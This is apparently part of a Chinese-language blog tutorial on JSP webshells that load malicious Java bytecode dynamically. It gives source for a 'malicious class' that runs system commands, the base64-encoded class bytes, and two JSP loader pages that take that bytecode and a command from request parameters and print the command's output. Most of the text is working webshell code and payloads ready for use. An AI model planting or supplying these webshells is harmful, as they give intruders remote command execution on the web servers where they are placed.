这个时候需要更改我们的恶意类了:

import java.io.IOException;

public class C{
    public byte[] b = new byte[2048];
    public C(){}
    //保留无参构造方法,为了newInstance能够获取C类
    public C(String cmd) throws IOException {
        Process p = Runtime.getRuntime().exec(cmd);
        p.getInputStream().read(this.b);
    }
}

添加了传参,同理生成base64:

yv66vgAAADQAKwoACAAUCQAHABUKABYAFwoAFgAYCgAZABoKABsAHAcAHQcAHgEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApFeGNlcHRpb25zBwAfAQAKU291cmNlRmlsZQEABkMuamF2YQwACwAMDAAJAAoHACAMACEAIgwAIwAkBwAlDAAmACcHACgMACkAKgEAAUMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAEcmVhZAEABShbQilJACEABwAIAAAAAQABAAkACgAAAAIAAQALAAwAAQANAAAALgACAAEAAAAOKrcAASoRCAC8CLUAArEAAAABAA4AAAAOAAMAAAAFAAQABAANAAUAAQALAA8AAgANAAAASgACAAMAAAAiKrcAASoRCAC8CLUAArgAAyu2AARNLLYABSq0AAK2AAZXsQAAAAEADgAAABYABQAAAAYABAAEAA0ABwAVAAgAIQAJABAAAAAEAAEAEQABABIAAAACABM%3d

稍微更改一下我们的JSP加载器:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance().getClass().getConstructor(String.class).newInstance(request.getParameter("cmd")));
    out.print(new String(b2));
%>

20220803171419

调用恶意类方法

恶意类添加exec方法。

import java.io.IOException;

public class C{
    public String s;
    public C(){}
    public String exec(String cmd) throws IOException {
        byte[] b = new byte[2048];
        Runtime.getRuntime().exec(cmd).getInputStream().read(b);
        return new String(b);
    }
}

base64编码:

yv66vgAAADQALgoACQAWCgAXABgKABcAGQoAGgAbCgAcAB0HAB4KAAYAHwcAIAcAIQEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwcAIgEAClNvdXJjZUZpbGUBAAZDLmphdmEMAAwADQcAIwwAJAAlDAAQACYHACcMACgAKQcAKgwAKwAsAQAQamF2YS9sYW5nL1N0cmluZwwADAAtAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQATamF2YS9pby9JbnB1dFN0cmVhbQEABHJlYWQBAAUoW0IpSQEABShbQilWACEACAAJAAAAAQABAAoACwAAAAIAAQAMAA0AAQAOAAAAHQABAAEAAAAFKrcAAbEAAAABAA8AAAAGAAEAAAAFAAEAEAARAAIADgAAAD4AAwADAAAAHhEIALwITbgAAiu2AAO2AAQstgAFV7sABlkstwAHsAAAAAEADwAAAA4AAwAAAAcABgAIABUACQASAAAABAABABMAAQAUAAAAAgAV

更改字节码加载器:


<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    Method exec = c1.newInstance().getClass().getMethod("exec",String.class);
    out.print((String) exec.invoke(c1.newInstance(),request.getParameter("g")));
%>

20220803172308

参考文章

Java安全-Java动态加载字节码
JSP Webshell那些事 -- 攻击篇(上)
Javaassist简介
java基础_创建对象的五种方式

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论